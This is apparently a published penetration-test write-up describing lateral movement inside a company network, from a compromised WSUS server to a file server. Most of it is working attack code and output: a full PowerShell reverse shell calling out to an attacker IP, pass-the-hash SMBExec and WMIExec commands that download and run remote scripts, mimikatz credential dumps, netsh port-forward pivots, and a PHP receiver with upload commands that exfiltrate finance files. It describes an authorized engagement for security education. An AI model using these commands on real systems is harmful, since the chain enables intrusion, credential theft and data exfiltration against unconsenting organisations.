Hacking

Targeting WSUS Server

Andrea Giuseppe
April 3, 2017 by
Andrea Giuseppe

(For the first part of the series, From APK to Golden Ticket, see here )

Two servers were eligible for reaching a stable remote shell goal. The servers: WSUS (Windows Update Server) and Antivirus. This because these servers must have Internet access for updating their databases. We started with the first one.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

We had an interesting question: "Will the local Administrator's NTLM hash be enough for accessing this server?". Maybe yes was our answer.

It is not so uncommon to use the same local Administrator password for all the servers of the company. This is often related to a common (bad) practice to create the first server as a template and then deploy the instances without changing the Administrator password each time.

Things got complicated and after some heavy testing, this was our plan:

  • Host our previous reverse PowerShell script (r1.ps1) on our public web server:

function Invoke-r1

{

$client = New-Object Net.Sockets.TCPClient('<OUR_PUBLIC_IP>',80)

$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

{

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

$sendback = (iex $data 2>&1 | Out-String )

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

$stream.Write($sendbyte,0,$sendbyte.Length)

$stream.Flush()

}

$client.Close()

}

  • Using the webshell in Tomcat, upload SMBExec [1] (smb.ps1) which will allow us to perform pass-the-hash [2] authentication.

We slightly edited the original SMBExec script by adding some lines to automate the exploitation. Once loaded it will automatically invoke SMBExec with all the necessary parameters to connect to the WSUS server, download the reverse shell from our web server in memory and then invoke our PowerShell reverse shell:

Invoke-SMBExec

-Target <SRVWSUS_IP>

-Username Administrator -Hash 604603ab105adc8XXXXXXXXXXXXXXXXX

-Command

"powershell `"IEX (New-Object Net.WebClient).DownloadString(`'http://<OUR_PUBLIC_IP>/r1.ps1`'); Invoke-r1`""

This was our "all-in-one" solution: SMBExec with autorun, plus a PowerShell that downloads and automatically invoke a reverse shell.

In the webshell we executed smb.ps1:

Command: cmd /c powershell -executionpolicy bypass -f c:tomcatwebappscmdwarfilessmb.ps1

Command executed with service BHTLCPTEICLBHQPOVGSM on 192.168.178.62

Moreover, this time the exploitation was successful: we got our reverse shell with system privileges on SRVWSUS:

connect to <OUR_PUBLIC_IP> from <COMPANY_PUBLIC_IP> 50341

PS C:Windowssystem32> whoami

nt authoritysystem

We finally got a much more stable shell, bye bye Android.

However, our mission was different now! We still did not find a way to demonstrate that it is possible to exfiltrate sensitive data.

We also noted that SMBExec spawned a process via temporary service with local SYSTEM impersonation (remember the previous whoami?), even if we launched the smb.ps1 as a local Administrator user. Probably using wmiexec.ps1 [3] - a PowerShell wrapper for the powerful Windows WMI interface - would have been a better choice for the next tasks, given it would run a remote process with the passed credentials.

We executed again mimikatz without problems (we were SYSTEM), this time on SRVWSUS and directly from our reverse shell, i.e. without uploading further files. Remember, "mymy" is the name of our obfuscated mimikatz:

PS C:Windowssystem32>iex (New-Object Net.WebClient).DownloadString('http://<OUR_PUBLIC_IP>/m.ps1'); Invoke-mymy

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 749566 (00000000:000b6ffe)

Session : Interactive from 2

User Name : administrator

Domain : SUPERCOMPANY

Logon Server : SRVDC1

Logon Time : 2/17/2017 4:23:28 PM

SID : S-1-5-21-3534665177-2148510708-2241433719-500

msv :

[00000003] Primary

* Username : Administrator

* Domain : SUPERCOMPANY

* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX

    * SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX

[00010000] CredentialKeys

* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX

    * SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX

tspkg :

wdigest :

* Username : Administrator

* Domain : SUPERCOMPANY

* Password : (null)

kerberos :

* Username : administrator

* Domain : SUPERCOMPANY.LOCAL

* Password : (null)

ssp :    KO

credman :

Wohoo! DA was logged in on this server and we got Domain Administrator hashes. Nice catch!

Anyway, game over? Not yet! The client asked us to steal reserved information, and so far, we did not get any reserved file. However, we knew where to search: the file server SRVFILE1.

  • Targeting the File server (SRVFILE1)

What better place to find files than a file server? Also with DA password hashes available. We were half on the road and our all-in-one SMBexec exploitation was ready, we simply changed the hash to the Domain Admin one.

Starting from our reverse shell on SRVWSUS, we tried to exploit the server using the same steps we did before, but it failed. After some attempts, we concluded that the server was not configured to access the Internet.

New server new plans! Our new attack plan was to use SRVWSUS - the one with reverse shell active - for pivoting our reverse shell onto SRVFILE1.

The steps were the following:

  • Use netsh [4] to forward all the traffic sent to SRVWSUS:8888 to ATTACKER:443

# SRVFILE1 <-> SRVWSUS:8888 <-> ATTACKER:443

netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=443 connectaddress=<OUR_PUBLIC_IP>

  • Upload on SRVWSUS a second reverse shell script r2.ps1, always from our web server:

(New-Object Net.WebClient).DownloadFile('http://<OUR_PUBLIC_IP>/r2.ps1', 'c:tmpr2.ps1')

r2.ps1 differs from the previous one because it connects to SRVWSUS and not to our public IP:


$client = New-Object System.Net.Sockets.TCPClient('<SRVWSUS_IP>',8888)


  • Download on SRVWSUS a simple PowerShell HTTPserver:

# http.ps1

start-job { # will execute in background

$p="c:tmp"

$H=New-Object Net.HttpListener

$H.Prefixes.Add("http://+:8001/")

$H.Start()

While ($H.IsListening) {

$HC=$H.GetContext()

$HR=$HC.Response

$HR.Headers.Add("Content-Type","text/plain")

     $file=Join-Path $p ($HC.Request).RawUrl

$text=[IO.File]::ReadAllText($file)

    $text=[Text.Encoding]::UTF8.GetBytes($text)

$HR.ContentLength64 = $text.Length

$HR.OutputStream.Write($text,0,$text.Length)

$HR.Close()

}

$H.Stop()

}
Start the HTTP listener as a background job. From here the SRVFILE1 will download our reverse shell:

PS C:tmp> .http.ps1

  • Alternatively to SMBExec we used WMIExec. We downloaded from our web server on SRVWSUS the wmiexec.ps1 file:

PS C:tmp> (New-Object Net.WebClient).DownloadFile('http://<OUR_PUBLIC_IP>/wmiexec.ps1', 'c:tmpwmiexec.ps1')

The file contained the following Invoke-WMIExec function at the end:

Invoke-WMIExec

-Target <SRVFILE1_IP> -Domain SUPERCOMPANY

-Username Administrator -Hash 446687c38d831f4XXXXXXXXXXXXXXXXX

-Command

"powershell `"IEX (New-Object Net.WebClient).DownloadString(`'http://<SRVWSUS_IP>:8001/r2.ps1`'); Invoke-r2`""

  • Run wmiexec.ps1:

PS C:tmp> .wmiexec.ps1

Command executed with process ID 4756 on 192.168.178.195

Moreover, the end of this story, we got, "magically," a shell from SRVFILE1 with domain admin user!

connect to [our-webserver] from [company-ip] 49190

PS C:Windowssystem32> whoami

supercompanyadministrator

This image should help to understand the flow:

Almost at the end of our "intranet tour," we had only to find some reserved files. After a quick look on the hard drives, we found something:

Directory: F:FinanceReserved

Mode LastWriteTime Length Name

---- ------------- ------ ----

-a--- 9/24/2016 2:20 AM 164468 Supersecret.docx

-a--- 5/29/2016 6:41 PM 12288 Balance.xlsx

...

These were our files! We only needed to exfiltrate it to our computer, and the proof of concept was done.

After five mins of euphoria, we asked ourselves: "how do we exfiltrate these files on our machine?" We first tried FTP in our public web server, but no luck, SuperCompany's firewall did not permit it. So we went for the most obvious solution: upload via HTTP.

This is the point of the story where we introduced our beloved php, yes, we like php. Here is our simple upload script we placed on our public web server:

<?php

// index.php

$pic = @$_FILES['pic']['name'];

$pic_loc = @$_FILES['pic']['tmp_name'];

echo (@move_uploaded_file($pic_loc,$pic)) ? "DONE" : "ERROR"; ?>

What we needed was an HTTP client with upload features. Google told us [5] where to take an awesome PowerShell script. We uploaded on SRVWSUS as upload.ps1.

To exfiltrate files we need to establish a new connection and, on SRVWSUS we added a new port forwarding rule, this time on port 8889:

# SRVFILE1 <-> SRVWSUS:8889 <-> ATTACKER:80

interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80 connectaddress=<OUR_PUBLIC_IP>

Settling the final files, we downloaded and executed on SRVFILE1 the HTTP upload script. Notice the files are downloaded from SRVWSUS on port 8889, which is forwarded to our 80 where the PHP is running. While on 443, we still have our PS reverse shell forwarded to 8888, from where we are actually sending the commands.

PS C:tmp>(New-Object Net.WebClient).DownloadFile('http://<SRVWSUS_IP>:8889/up.ps1','c:tmpupload.ps1')

PS C:tmp>. .upload.ps1

PS C:tmp> invoke-upload -infile f:financereservedSupersecret.docx -uri http://<SRVWSUS_IP>:8889/

content:System.Net.Http.StreamContent

DONE

PS C:tmp> invoke-upload -infile f:financereservedbalance.xlsx -uri http://<SRVWSUS_IP>:8889/

content:System.Net.Http.StreamContent

DONE

We successfully transferred the restricted files to our web server! Mission accomplished!!

We did not find any large files in this case, however, if needed, we could compress (zip) them. Of course with PowerShell:

$src= "f:finance"

$dst= "c:tmpfiles.zip"

[Reflection.Assembly]::LoadWithPartialName("System.IO.Compression.FileSystem")

[System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst,[System.IO.Compression.CompressionLevel]::Optimal,$true)

________

[1] https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1

[2] https://en.wikipedia.org/wiki/Pass_the_hash

[3] https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1

[4] https://technet.microsoft.com/en-us/library/bb490943.aspx

[5] http://blog.majcica.com/2016/01/13/powershell-tips-and-tricks-multipartform-data-requests/

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Coming next: Targeting Domain Controller (SRVDC1) and looking for the Golden Ticket

Andrea Giuseppe
Andrea Giuseppe

Andrea Pierini (right) is an IT Architecture & Security Manager with long-term experience and in-depth knowledge covering all aspects of IT: from SW development to systems administration; networking administration and IT security. He is also an expert in *NIX* and Windows environments. Check out Andrea's blog here (https://decoder.cloud) and challenges here (https://hack.me).

Giuseppe Trotta (left) is a penetration tester and security researcher wannabe. Troublemaker and addicted to anything requiring an intense usage of brain (puzzles, riddles, CTF and whatnot), he is the developer of the hack.me project and author of several public and private virtual labs.Giuseppe is the author of WAPTX course, creator and (ex)engineer of Hera Labs.